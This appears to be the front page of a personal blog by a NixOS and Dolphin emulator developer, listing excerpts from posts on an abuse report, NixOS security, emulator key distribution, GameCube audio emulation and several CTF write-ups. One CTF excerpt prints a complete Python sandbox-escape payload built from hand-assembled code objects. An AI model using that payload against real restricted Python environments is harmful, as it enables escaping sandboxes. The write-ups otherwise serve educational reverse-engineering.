In short

I’m delroth, or Pierre Bourdon. Originally from France, currently living in Zürich, Switzerland. I’m an open source developer, mainly contributing to NixOS these days. In the past, I was a core developer for the Dolphin Emulator, and I was the main infrastructure maintainer as well as treasurer for the project.

In my working life, I’ve worked for around 10 years as a Software Engineer at Google. I’ve spent around 3 years each specializing in site reliability, counter-abuse technologies, then infrastructure security. Along the way, I also became privacy reviewer for new infrastructure projects, as well as teacher/mentor for new C++ developers at the company.

I’m currently on a sabbatical leave, spending my free time learning more about the country I’ve lived in for 10 years, and finally learning the local language.

It all begins with one scary email late at night just before I had to go to sleep:

From: abuse@hetzner.com
Date: 2024-10-29 01:03:00 CET
Subject: AbuseInfo: Potential Security issue: AS24940: 195.201.9.37

We have received an abuse report from abuse@watchdogcyberdefense.com for your
IP address 195.201.9.37.

We are automatically forwarding this report on to you, for your information.
You do not need to respond, but we do expect you to check it and to resolve any
potential issues.

> To assist you in understanding the situation, we have provided the relevant
> log data below, with timestamps adjusted to our GMT +8 timezone:
>
>                 DateTime   Action      AttackClass      SourceIP Srcport Protocol   DestinationIP DestPort
> 0   28-Oct-2024 19:39:11   DENIED                   195.201.9.37   36163      TCP  202.91.162.233       22
> <snip>
> 20  28-Oct-2024 20:36:33   DENIED                   195.201.9.37   22044      TCP   202.91.161.97       22
> 21  28-Oct-2024 20:41:37   DENIED                   195.201.9.37    9305      TCP   202.91.163.36       22
> 22  28-Oct-2024 20:50:33   DENIED                   195.201.9.37   39588      TCP  202.91.163.199       22
> 23  28-Oct-2024 20:50:58   DENIED                   195.201.9.37   62973      TCP   202.91.161.41       22
> 24  28-Oct-2024 20:51:50   DENIED                   195.201.9.37    3085      TCP   202.91.161.97       22

At the last NixCon in Darmstadt and later in private followup conversations I had the opportunity to talk with a lot of amazing fellow NixOS contributors about NixOS security, and how we could improve it in the future.

This article is my personal wishlist of what I think should be worked on in the near-term to mid-term future. It’s not really a roadmap, because I don’t think it has any consensus or authority to be called one, but hopefully it can be used as a reference if anyone is looking for ideas or areas where they could help! It’s a mix of small, medium, and large sized projects. It’s also roughly ordered in terms of how I’d prioritize the work based on how much effort I imagine there is to be done and how much benefit we’d get in return.

This blog post is a copy of an article I posted on the /r/emulation subreddit regarding the recent Dolphin / Valve / Nintendo “drama”. You can read it with comments over there.

On /r/emulation 8 days ago /u/b0b_d0e (with a “Citra Developer” flair) mentioned:

That’s right, you know how on all these other emulators like citra, ryu, yuzu, cemu etc they all say “dump your keys by following this guide” ever wonder why you didn’t need that with dolphin?

BECAUSE DOLPHIN ILLEGALLY DISTRIBUTES NINTENDO’S WII DECRYPTION KEY

I never really spent the time trying to reply to this. At the time I was more busy trying to make people understand the difference between a DMCA notice and what happened between Valve and Nintendo. But then this was also picked up by my favorite emulation not-journalist MVG who even doubled down on the keys situation in his apology-update video.

So, I wondered: how do other emulators actually fare? I’ll let you decide on your own:

Been a while since I last took the time to solve a CTF challenge. I did not take part in the Boston Key Party CTF, but a friend of mine told me that I might be interested in this crackme.

hypercube.dol is a GameCube binary that computes a value using terribly unoptimized code. The goal of the challenge is to understand the code and “optimize” the slow parts. Kind of like the “supercomputer” category from PlaidCTF. I like crackmes and I like GameCube RE, so let’s get started!

Since the release of Dolphin 3.5 half a year ago, audio processing in Dolphin has changed a lot. In Dolphin versions up to 3.5, a lot of games required low-level emulation of the DSP code in order to not crash or get audio output. This low-level emulation (called DSP LLE) is unfortunately a lot slower than high-level emulation (DSP HLE): while low-level emulation emulates extremely accurately the DSP code by translating the binary code into x86, high-level emulation simply runs C++ code which approximates what the DSP code does. I’ve spent several months rewriting most of the DSP HLE code, fixing sound issues in several dozens of games (my current estimate is around ~150), and now DSP HLE can be used in most GameCube and Wii games that previously required DSP LLE. HLE being a lot faster than LLE, everyone should be happy, right?

Wrong. It turns out that one of the main source of bugs, crashes and inaccuracies in DSP HLE was also one of its main features: the ability to run sound emulation at full speed even if the emulated game is not able to reach 100% speed on a computer. This feature, called asynchronous audio processing, is obviously being requested again by more and more people. This article is here to explain why async audio will not come back and what async audio actually breaks.

The Nuit du Hack CTF 2013 Quals round was taking place yesterday. As usual, I’ll be posting a few writeups about fun exercises and/or solutions from this CTF. If you want more, my teammate w4kfu should be posting some writeups as well on his blog soon.

TL;DR:

auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())

MysteryBox was a remote server disassembling and running its input data for an unknown RISC-like CPU. As far as I know the unknown CPU is not a “real” CPU but a VM made solely for this challenge. Here is an example of how to interact with the remote MysteryBox service:

$ perl -e 'print "\x00\x00\x00\x00"' |
        nc mysterybox.2013.ghostintheshellcode.com 4242
09007800  ldb sp, sp, sp
Caught signal 11.  Program terminated.
 sp=0900bc08  r1=00000000  r2=00000000  r3=00000000  r4=00000000  r5=00000000
 r6=00000000  r7=00000000  r8=00000000  r9=00000000 r10=00000000 r11=00000000
r12=00000000 r13=00000000 r14=00000000 r15=00000000 r16=00000000 r17=00000000
r18=00000000 r19=00000000 r20=00000000 r21=00000000 r22=00000000 r23=00000000
r24=00000000 r25=00000000 r26=00000000 r27=00000000 r28=00000000 r29=00000000
 lr=00000000  ip=09007800  cc=ffff
rtfm-67cc5dcb69df4244bcf2d573481e6d6a06b861a3: ELF 32-bit LSB executable
rtfm-e24f03bb1204f8e3d40fae8ac135187a11b0ba5c: data

rtfm is a binary processing ASCII input files and outputting seemingly compressed versions of these files: testing on a few long text files shows that the size of the output file is smaller than the input file. The second file from this challenge is a file compressed by rtfm, our objective is to write the decompression code for the rtfm compression.

The interesting part of the binary is the function at 0x08048910, which compresses the contents of an input buffer and writes it to a calloc-ed output buffer. For each character of the input stream, the function will read data from a 128 entries table at 0x08048CA0. Each of these entry contains a 16-bit word as well as an 8-bit integer.

hackthegibson: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
    dynamically linked (uses shared libs), for GNU/Linux 2.6.15,
    BuildID[sha1]=0xb8515e4280130d84d4b4e1fd492da1b099ec0eb6, stripped

hackthegibson is a 64-bit ELF for Linux using OpenSSL (libcrypto) and FFTW to analyze the spectrum of samples coming from /dev/dsp.

The program does not take a key as an input, only sound data. That means it will most likely generate and display a key based on the sound. Indeed, at the address 0x401963 we can see that the program uses MD5_Final to generate a MD5 digest and displays it in hex using a printf("%02x") loop. Let’s look at all the references to MD5_Update to understand how this MD5 digest is computed:

  • Just before the program main loop, the first call to MD5_Update hashes 1 constant byte 0x14
  • At each iteration of the program main loop, if the function analyzing the sound data returns the expected value (checked using a table mapping iteration number to expected value) MD5_Update is called using that expected value.
  • Just before the call to MD5_Final the constant byte 0x14 is hashed once again.

For the last two weeks, I’ve been working on enhancements and bug fixes related to audio processing in the Dolphin Emulator (the only Gamecube/Wii emulator that allows playing commercial games at the moment). Through this project I have learned a lot about how audio processing works in a Gamecube. Very little documentation is available on that subject, so I think writing an article explaining how it works might teach some new things to people interested in Gamecube/Wii homebrew development or emulators development. This article was first published in 3 parts on the Dolphin official forums. Before publishing it on the blog, I made some small changes (mostly proof-reading and adding some complementary images) but most explanations are the same.

If you’re interested in the code, it is available in the new-ax-hle branch on the official Google Code repository.

Let’s start this exploration of audio emulation in a Gamecube emulator by looking at how the real hardware processes sound data.